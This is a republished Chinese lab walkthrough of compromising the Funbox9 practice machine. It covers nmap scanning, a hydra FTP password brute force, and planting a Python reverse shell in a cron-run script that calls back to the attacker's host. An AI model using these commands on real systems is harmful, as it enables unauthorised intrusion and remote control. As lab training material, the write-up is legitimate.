1

通过nc获取靶机的反弹Shell [靶机实战] - CrazyLoe

 11 months ago
source link: https://www.cnblogs.com/loe-home/p/17432634.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

1、环境

Kali:172.30.1.3/24

靶机(Funbox9):172.30.1.129/24


2、信息收集

通过nmap扫描此主机,我们需要获取到开放的端口以及服务的Banner

1 nmap -sV -T5 -A 172.30.1.129
2965751-20230525190945425-463999557.png

 通过扫描我们发现,目标主机开放着21端口,服务Banner是 vsftpd 2.3.4,并且允许匿名登录


我们尝试ftp匿名连接此主机:

2965751-20230525191137276-1697199069.png

 根据其返回信息,我们发现了一个可能是一个本地用户的信息:sky用户,可以看到此用户是一个管理员


我们可以尝试对此用户进行ftp密码的爆破,看看能不能获取到其密码(可能无法成功):

1 hydra -l sky -P /usr/share/wordlists/rockyou.txt ftp://172.30.1.129

跑了一段时间后,这是最终的结果:

2965751-20230525193105930-35201.png

 sky用户的密码为thebest;我们尝试连接:

登录后我们发现,sky并没有被困在 chroot中:

2965751-20230525193300363-1578033990.png

 我们可以以此为突破点,搞一些别的事情,但这里我们试着通过nc建立一个反向shell

user.flag 文件 sky用户有着写与执行的权限

2965751-20230525193402949-456617527.png

 将此文件下载后发现,这是一个脚本文件,再进行推理,很可能是一个由系统周期运行的脚本

所以我们可以重写此脚本,然后上传

2965751-20230525193522420-1181014687.png


考虑到一般这种系统的安全防护做的很高,所以此时我们直接通过 

nc -nv 172.30.1.3 -e /bin/bash

这种方法可能无法成功建立连接

于是我们使用以下方法来进行连接:

将此命令插入到脚本中,并且上传,这是一个通过python实现的反弹shell,更多方式大家可以去看这个网站:Online - Reverse Shell Generator (revshells.com)

export RHOST="172.30.1.3";export RPORT=25565;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

2965751-20230525193930534-1096521582.png

2965751-20230525193932061-1722235564.png


随后,我们在本地监听25565端口,等待连接:

1 nc -lvnp 25565
2965751-20230525194032495-1655729763.png

靶机成功运行此脚本,证明我们的推理是正确的:

2965751-20230525194630929-1273606337.png

 最终,我们获取了 sarah 的shell


从渗透的角度来看,还可以通过 vsftpd 2.3.4 这个版本通过msf直接利用后门漏洞也是可以的


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK